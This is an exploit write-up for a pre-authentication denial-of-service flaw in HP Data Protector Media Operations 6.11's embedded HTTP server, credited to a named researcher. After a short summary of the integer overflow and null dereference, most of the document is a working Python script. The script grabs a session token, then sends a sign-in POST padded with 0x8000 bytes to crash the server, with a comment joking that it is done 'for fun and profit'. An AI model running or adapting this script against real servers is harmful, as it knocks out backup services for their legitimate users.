HP Data Protector Media Operations 6.11 Denial Of Service

`# Exploit Title: HP Data Protector Media Operations 6.11 HTTP Server Remote Integer Overflow DoS  
# Date: [date]: 17/09/10  
# Author: d0lc3 (@rmallof http://elotrolad0.blogspot.com/)  
# Software Link: http://www.hp.com  
# Version: 6.11  
# Tested on: Windows XP SP3 Spa  
#  
#Sumary:  
"""  
HP Data Protector Media Operations has embebed HTTP server, allowing access through  
this protocol for users.  
  
Flaw was detected on this implementation, causing remote and pre-authenticated DoS: Integer Overflow  
handling string sended length through POST method.  
  
Integer Overflow causes unexpected variable initiation (reset to 0) followed by its dereferenciation  
(NUll Dereference), crashing server and thus deniying service to legitimate users.  
  
This is not explpoitable.  
"""  
#PoC:  
  
#!/usr/bin/python  
  
import socket,sys,time,os  
#global vars  
neg="GET / HTTP/1.1\r\n\r\n"  
lim0="Location:"   
lim1="&"  
lim2="sess="  
buf="SignInName="+("A"*0x8000)+"&SignInPassword=FOO&Sign+In=Log+In" # >= 0x8000 to int overflow  
  
def CV():  
os.system("clear")  
print"\t-HP Data Protector Media Operations 6.11-"  
print"\t -HTTP Remote Denial of Service-"  
print"\n[+] Researcher:\tRoi Mallo (@rmallof)"  
print"[+] Blog:\thttp://elotrolad0.blogspot.com/"  
print"[+] Twitter:\thttps://www.twitter.com/rmallof"  
print"\n\n"  
  
def nego(h): #starting connection and getting session  
s=socket.socket()  
try:  
s.connect(h)  
except:  
print"[x] Error connecting to remote host!"  
sys.exit(0)  
s.send(neg)  
time.sleep(1)  
rec=s.recv(1024)  
s.close()  
return rec  
  
def buildPOST(s,h,p,b): #building POST request for crashes server  
P="POST /4daction/wHandleURLs/handleSignIn?sess="+s+"&siteCode=0&lang=en& HTTP/1.1\r\n"  
P+="Host: "+h+"\r\n"  
P+="User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10\r\n"  
P+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"  
P+="Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n"  
P+="Accept-Encoding: gzip,deflate\r\n"  
P+="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"  
P+="Keep-Alive: 115\r\n"  
P+="Connection: keep-alive\r\n"  
P+="Referer: http://"+h+p+"\r\n"  
P+="Content-Type: application/x-www-form-urlencoded\r\n"  
P+="Content-Length: %s\r\n" % str(len(b))  
P+="\r\n"  
P+=b  
time.sleep(1)  
return P  
  
def main():  
CV()   
if len(sys.argv)!=2:  
print"\n[x] Usage: "+sys.argv[0]+" <host>\n\n"   
sys.exit(0)  
else:  
host=sys.argv[1]  
hostd=host,80  
#1  
print"[-] Getting HTTP session..."  
r=nego(hostd) #getting new session...  
path=r[r.index(lim0)+len(lim0)+1:r.rindex(lim1)+1] #search for PATH  
sess=path[path.index(lim2)+len(lim2):path.index(lim1)+len(lim1)-1] #search for SESSION hash  
time.sleep(1)  
print"[+] 0k, session ="+sess  
time.sleep(1)  
#2  
s=socket.socket()  
s.connect(hostd)  
print"[-] Bulding POST [Content-Length: %d bytes]..." % len(buf)  
POST=buildPOST(sess,host,path,buf) #build POST request with new session  
print"[+] Done, Sayonara ;)"  
s.send(POST) #crash it 4fun&profit :)  
time.sleep(1)   
s.close()  
if __name__=="__main__":  
main()  
  
`